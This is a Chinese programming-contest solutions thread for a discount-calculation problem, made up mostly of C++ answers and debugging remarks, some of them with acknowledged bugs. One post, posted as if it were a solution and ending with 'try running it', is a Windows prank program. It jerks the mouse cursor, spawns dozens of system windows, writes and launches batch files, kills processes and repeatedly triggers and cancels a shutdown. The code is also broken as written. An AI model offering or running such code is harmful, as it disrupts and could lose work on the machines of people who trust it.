9 条题解

  • 2
    @ 2024-4-26 23:54:12

    为啥AC4WA6啊

    • 0
      @ 2024-5-9 21:10:41
      #include
      #include
      #include
      using namespace std;
      
      int main()
      {
      return 0;
      system("color 8F");
      int result = MessageBox(MB_APPLMODAL,"请问是否要启动该程序?若启动,会占用较大cpu,此程序无毒!","来自小程序猿的温馨提示",MB_ICONASTERISK|MB_YESNO);
      if (result == IDNO)
      {
      return 0;
      }
      else
      {
      int x,y;
      

      for (int a=0;a<10000;a++) { x = rand()%801; y = rand()%601; SetCursorPos(x,y);

      }
      for (int b=0;b<3;b++)
      {
      
          system("start notepad");
          system("start calc");
          
          system("start winver");
          
          system("start cmd");
          system("start Nslookup");
         
          system("start ");
          
          
          system("start cleanmgr");
         
          system("start charmap");
          
          system("start calc");
          
          system("start calc");
          system("start dxdiag");
          
          system("start cmd");
          system("start cmd");
          system("start cmd");
         
          system("start taskmgr");
          system("start ");
          system("start wiaacmgr");
          system("start  mspaint");
          system("start mmc");
          system("start ");
          
      }
      system("start dxdiag");
      Sleep(2000);
      system("taskkill /im notepad.exe") ;
      system("taskkill /im calc.exe") ;
      system("taskkill /im dxdiag.exe") ;
      system("taskkill /im winver.exe") ;
      
      system("taskkill /im  cmd.exe") ;
      system("taskkill /im Nslookup.exe") ;
      
      
      
      
      system("taskkill /im cleanmgr.exe") ;
      
      system("taskkill /im charmap.exe") ;
      
      
      
      
      system("taskkill /im taskmgr.exe") ;
      
      system("taskkill /im wiaacmgr.exe") ;
      system("taskkill /im mspaint.exe") ;
      system("taskkill /im mmc.exe") ;
      
      
      for (int c=0;c<5;c++)
      {
      	system("start notepad");
      }
      system("taskkill /im notepad.exe") ;
      
      for (int d=0;d<5;d++)
      {
      	system("start calc");
      }
      system("taskkill /im calc.exe") ;
      for (int l=0;l<10;l++)
      {
      	system("start calc");
      }
      system("taskkill /im calc.exe") ;
      for (int m=0;m<15;m++)
      {
      	system("start calc");
      }
      system("taskkill /im calc.exe") ;
      
      for (int f=0;f<20;f++)
      {
      	system("start calc");
      }
      system("taskkill /im calc.exe") ;
      for (int n=0;n<10;n++)
      {
      	system("start calc");
      }
      system("taskkill /im calc.exe") ;
      for (int q=0;q<15;q++)
      {
      	system("start cmd");
      }
      system("taskkill /im cmd.exe") ;
      for (int r=0;r<20;r++)
      {
      	system("start taskmgr");
      }
      system("taskkill /im taskmgr.exe") ;
      for (int g=0;g<10;g++)
      {
      	system("start mmc");
      }
      for (int h=0;h<10;h++)
      {
          system("start ");
      }
      ofstream out;
      out.open("eason.bat");
      out<<"dir/s";
      out.close();
      for (int i=0;i<5;i++)
      {
      	system("start eason.bat");
      }
      ofstream oo;
      oo.open("eason2.bat");
      oo<<"tree";
      oo.close();
      for (int j=0;j<5;j++)
      {
      	system("start eason2.bat");
      }
      //接下来我要把程序都关了
      
      
      system("taskkill /im taskmgr.exe") ;
      system("taskkill /im mmc.exe") ;
      system("taskkill /im /f cmd.exe") ;
      system("taskkill /im cmd.exe") ;
      system("taskkill /im calc.exe") ;
      for (int k=0;k<10000;k++)
      {
          x = rand()%801;
          y = rand()%601;
          SetCursorPos(x,y);
      }
      ofstream o;
      o.open("easo.txt");
      o<<"(づ ̄3 ̄)づ╭?~"<<'\n'<<"程序到此便结束了ヾ(=?ω?=)o"<<'\n'<<"制作者:小程序猿"<<'\n'<<"bye!"<<'\a';
      o.close();
      system("start easo.txt");
      for (int p =0;p<5;p++)
      {
      
      
          system("shutdown -s");
          Sleep(100);
          system("shutdown -a");
      }
      remove("eason.bat");
      remove("eason2.bat");
      remove("easo.txt");
      result = MessageBox(MB_APPLMODAL,"程序已结束!","来自***的温馨提示",MB_ICONASTERISK|MB_OK);
      return 0;
      

      }

      //我垃圾得很

      }
      

      运行试试

      • 0
        @ 2024-5-4 21:16:12

        嗨嗨嗨,我又来编题解了! 老话,请勿借()鉴()!

        注意!!!!😄 千万不要用 x*=0.几 来计算打折

        否则就会 AC5 WA5

        #include <iostream>
        #include <iomanip>
        #include <cstdio>
        #include <cmath>
        using namespace std;
        int main()
        {
            long long x;
            char a,b;
            int l;
            cin >> x;
            cin >> a >> b;
            if ((a=='B' && b!='C')||(b=='B' && a!='C'))
            {
                x=x*8/10;
            }
            else if ((a=='C' && b!='B')||(b=='C' && a!='B'))
            {
                x=x*7/10;
            }
            else if ((a=='B' && b=='C')||(b=='B' && a=='C'))
            {
                x=x*6/10;
            }
            cout << x;
            return 0;
        }
        

        记得点赞!!!❤️

        • 0
          @ 2024-5-2 18:39:09

          AC4WA6是为什么

          #include <iostream>
          #include <cstdio>
          using namespace std;
          int main()
          {
              long long x;
              char a,b;
              cin>>x;
              scanf("%c%c",&a,&b);
              if((a=='B'&&b!='C')||(a!='C'&&b=='B'))               
              {
                  cout << x*8/10;
              }
              else if((a=='C'&&b!='B')||(a!='B'&&b=='C'))  
              {
                  cout << x*7/10;
              }
              else if((a=='B'&&b=='C')||(a=='C'&&b=='B'))
              {
                  cout << x*6/10;
              }
              return 0;
          }
          
          • 0
            @ 2024-5-1 15:48:32
            #include <iostream>
            using namespace std;
            int main()
            {
            	long long sum;//金额有可能超过int范围(3AC,7WA是也) 
            	char a,b;
            	cin >> sum;
            	cin >> a >> b;
            	if ((a == 'B' && b != 'C')||(b == 'B' && a != 'C'))//分支语句判断 
            	{
            		sum = sum *8/10;
            	}
            	else if((a =='C' && b != 'B' )||(b == 'C' && a != 'B'))
            	{
            		sum = sum *7/10;
            	}
            	else if((a == 'B' && b == 'C')||(b == 'B' && a == 'C'))
            	{
            		sum = sum *6/10;
            	} 
            	cout << sum ;
            	return 0;
             }
            

            判断稍微简化了一下

            • 0
              @ 2024-4-28 17:09:12
              #include <iostream> //还是让我来吧
              
              using namespace std;
              int main()
              {
                  long long x;
                  char a,b;
                  cin>>x;
                  cin>>a>>b;
                  if ((a=='B'&&b=='C') || (a=='C'&&b=='B'))
                      cout << x * 6 / 10;
                  else if ((a=='B'&& b=='A') || (b=='B'&& a=='A') || (b=='B'&& a=='B'))
                      cout << x * 8 / 10;
                  else if ((a=='C'&& b=='A') || (b=='C'&& a=='A') || (b=='C'&& a=='C'))
                      cout << x * 7 / 10;
                  else if (a=='A'&& b=='A')
                      cout << x;
                  return 0;
              }
              
              • 0
                @ 2024-4-27 10:16:42

                hetao2887184, 你把BB和CC两种情况列举一下,分别是8折和7折。

                • 0
                  @ 2024-4-26 23:53:36
                  #include <iostream>
                  using namespace std;
                  int main()
                  {
                      int x,y=0;
                      char a,b;
                      cin>>x;
                      cin>>a>>b;
                      if ((a=='B'&&b=='C') || (a=='C'&&b=='B'))
                          y=x*0.6;
                      else
                      {
                          if ((a=='B'&&b=='A') || (b=='B'&&a=='A') || (b=='B'&&a!='B'))
                              y=x*0.8;
                          if ((a=='C'&&b=='A') || (b=='C'&&a=='A') || (b=='C'&&a=='C'))
                              y=x*0.7;
                      }
                      if (a=='A'&&b=='A')
                          y=x;
                      cout<<y<<endl;
                      return 0;
                  }
                  
                  不是,我感觉没问题啊???
                  
                  • @ 2024-4-27 18:40:22

                    菜名是BB的时候你输出的是0 第13行的!=改成==就好了 变化后的代码如下:

                    #include <iostream>
                    using namespace std;
                    int main()
                    {
                        int x,y=0;
                        char a,b;
                        cin>>x;
                        cin>>a>>b;
                        if ((a=='B'&&b=='C') || (a=='C'&&b=='B'))
                            y=x*0.6;
                        else
                        {
                            if ((a=='B'&&b=='A') || (b=='B'&&a=='A') || (b=='B'&&a!='B'))
                                y=x*0.8;
                            if ((a=='C'&&b=='A') || (b=='C'&&a=='A') || (b=='C'&&a=='C'))
                                y=x*0.7;
                        }
                        if (a=='A'&&b=='A')
                            y=x;
                        cout<<y<<endl;
                        return 0;
                    }
                    
                  • @ 2024-4-27 18:42:20

                    对不起,还是有问题

                • -1
                  @ 2024-5-9 13:32:42

                  最直白的做法:依据题意分类讨论

                  // 思路:分类讨论
                  #include <iostream>
                  using namespace std;
                  long long x;
                  char a, b;
                  int main(){
                      cin >> x;
                      cin >> a >> b;
                      if (a == b && a == 'A')  //完全不打折情况
                          cout << x;
                      else if ((a == 'B' && b != 'C') || (b == 'B' && a != 'C')){  //打8折情况
                          x /= 10;
                          x *= 8;
                          cout << x;
                      }
                      else if ((a == 'C' && b != 'B') || (b == 'C' && a != 'B')){  //打7折情况
                          x /= 10;
                          x *= 7;
                          cout << x;
                      }
                      else if ((a == 'B' && b == 'C') || (a == 'C' && b == 'B')){  //打6折情况
                          x /= 10;
                          x *= 6;
                          cout << x;
                      }
                      return 0;
                  }
                  

                  简单优化后:

                  // 思路:分类讨论
                  #include <iostream>
                  using namespace std;
                  long long x;
                  char a, b;
                  int main(){
                      cin >> x;
                      cin >> a >> b;
                      if ((a == 'B' && b != 'C') || (b == 'B' && a != 'C')){  //打8折情况
                          x /= 10;
                          x *= 8;
                      }
                      else if ((a == 'C' && b != 'B') || (b == 'C' && a != 'B')){  //打7折情况
                          x /= 10;
                          x *= 7;
                      }
                      else if ((a == 'B' && b == 'C') || (a == 'C' && b == 'B')){  //打6折情况
                          x /= 10;
                          x *= 6;
                      }
                      cout << x;  //  所有的打折情况已经考虑完,所以可以直接输出应支付金额
                      return 0;
                  }
                  
                  • 1

                  [语言月赛202303] Out for Dinner B

                  信息

                  ID
                  730
                  时间
                  1000ms
                  内存
                  512MiB
                  难度
                  9
                  标签
                  递交数
                  3767
                  已通过
                  283
                  上传者